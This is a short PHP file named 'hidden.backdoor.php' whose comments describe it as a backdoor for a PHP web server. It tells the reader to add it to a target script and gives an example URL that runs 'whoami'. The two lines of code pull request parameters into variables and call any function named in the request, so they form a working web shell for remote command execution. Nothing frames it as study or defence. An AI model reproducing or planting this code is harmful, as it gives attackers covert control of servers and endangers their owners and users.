hidden.backdoor.php

<?php
// create backdoor in php web server
// add this to target script,
// call in url : host.com/path/to/script/?c=exec&a=whoami

@extract($_REQUEST);
@die($c($a));